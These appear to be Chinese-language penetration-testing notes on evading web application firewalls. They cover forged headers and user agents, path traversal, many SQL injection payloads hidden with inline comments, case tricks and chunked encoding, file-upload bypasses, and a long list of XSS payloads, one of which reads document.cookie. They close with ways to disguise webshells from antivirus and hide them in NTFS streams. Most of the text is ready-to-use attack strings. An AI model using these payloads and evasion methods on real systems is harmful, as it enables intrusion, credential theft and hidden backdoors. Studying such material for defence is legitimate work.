1.市场Waf分类
硬件Waf:绿盟、安恒、启明、知道创宇等
需要选择模式
透明模式
反向代理分为反向代理(代理模式)与反向代理(牵引模式)
反向代理又分为两种模式,反向代理(代理模式)与反向代理(牵引模式)
旁路监控
软件Waf:安全狗、云锁、中间件自带的Waf模块
云WAF:阿里云、安全狗、知道创宇、安恒
2.WAF的检测方法
首先白名单黑名单身份认证--数据包解析--规则判断--拦截
3.身份认证阶段绕过
- 伪造搜索引擎绕过
- 伪造白名单的特殊目录
admin/../ 方式绕过
http://10.0.0.139:92/pikachu/pkxss/admin/../pkxss_login.php
4.数据包解析绕过
- 1、burp安装waf模块
云WAF绕过方法:伪造XFF头为127.0.0.1或找出真实IP绕过
安装插件
加一些路径
- 2、通过工具伪造百度、google等user agent头或者伪造白名单特殊目录
- 3、编码url绕过
输入and 1=1
将and换位&&
进行url编码
去掉1=1
将1=1换位-1=-1
4、修改请求方式绕过:利用waf的默认规则绕过,如默认只针对拦截,不对post拦截
对方支持request
为request就是可以
- 5、复合参数绕过
http://10.0.0.139:92/sql.php?id=1&id=and&id=1=2
- 6、WAF触发规则的绕过
内联注释代替空格/**/代替空格
http://10.0.0.139:92/sql.php?id=1/*|%23--%23|*/and/*|%23--%23|*/-1=-1
特殊字符拼接
例如: exec('maste'+'r..xp'+'_cmdshell'+'"net user"')
注释包含关键字
/*!*/包含关键词
GET /pen/news.php?id=1 /*!union*/ /*!select*/ user,password /*!from*/ mysql.user
and /*!1*/=/*!1*/ #
加!是被执行
Lucy' order /*!11440 by*/ 1,2#
跟这个数字有关,这是一个版本
-1' union /*!77777cz*//*!77777cz*/ select database/*!77777a*/(),2#
使用大小写
http://www.***.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4….
双写绕过
http://www.***.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4….
关键字替换
xor异或绕过
mod绕过
= | like|in、group_concat() | concat_ws()、@@version | version()
利用WAF本身的功能绕过利用*代替空格
,如uni*on+sel*ect+1,2,3,4....
组合法
and /*!1=1*/ %23
把and为&&,urlencode后为%26%26 如:%20%26%26%20-1=-2
- 7、分块传输绕过
支持get 或request
变更请求方法
使用分块传输
0代表传输完成
- 8.利用其他变量或命令执行语句
and mod(8,7) in (1)
and mod(8,7) in (2)
异或运算(测注入点)xor
vince ' Xor '1'='1' #
vince ' Xor '1'='2' #
5.文件上传绕过
- 方法一:等号绕过
被waf拦截
上传成功
- 方法二:换行绕过
- 方法三:填充垃圾字符
在from-data前加一些垃圾字符
- 方法四:突破0,文件名前缀加[0x09]绕过
- 方法五:文件名去掉双引号绕过
6.XSS绕过Waf
- HTML5 新标签
<details%20open%20οntοggle=alert(/xss/)>
<details open οntοggle=top['prompt'](1)>
<details open οntοggle=top['al'%2b'ert'](1)>
audio标签
<audio src=x οnerrοr=alert(47)>
<audio src=x οnerrοr=prompt(1);>
<audio src=1 href=1 οnerrοr="javascript:alert(1)"></audio>
video标签
<video src=x οnerrοr=alert(48)>
<video src=x οnerrοr=prompt(1);>
div标签
<div style="width:expression(alert(/1/))">1</div> ie浏览器执行
<div onmouseover%3d'alert%26lpar%3b1%26rpar%3b'>DIV<%2fdiv> url编码绕过
math标签
<math><a/xlink:href=javascript:prompt(1)>Xss
<math href="javascript:javascript:alert(1)">Xss</math>
button标签
<button οnfοcus=alert(1) autofocus>
<button/οnclick=alert(1) >xss</button>
keygen/οnfοcus=prompt(1);>
keygen标签
<keygen οnfοcus=javascript:alert(1) autofocus>
object标签
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
base64加密:PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg <script>alert(1)</script>
iframe标签
<IFRAME width%3d"420" height%3d"315" frameborder%3d"0" onload%3d"alert(document.cookie)"><%2fIFRAME>
<iframe%2fsrc%3d"data%3atext%2fhtml%3b%26Tab%3bbase64%26Tab%3b,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg%3d%3d">
<iframe srcdoc%3d'%26lt%3bbody onload%3dprompt%26lpar%3b1%26rpar%3b%26gt%3b'>
- 大小写绕过
- javascript伪协议
- 没有分号
- Flash
- Fuzz进行测试
- 双层标签绕过
7.Webshell免杀(服务端绕过)
用小马传大马(读取文件路径)
小马功能单一,大马功能多,小马代码少,小马作用就是传大码
PHP小马
注释法(干扰waf)
替换函数类函数组合法
把马创建成涵数,后面只要调用涵数就行
变量覆盖
在线加密
通过NTFS交换数据流文件实现文件隐藏
8.Webshell后门分析
代码分析定位法
抓包分析法
数据流量协议分析法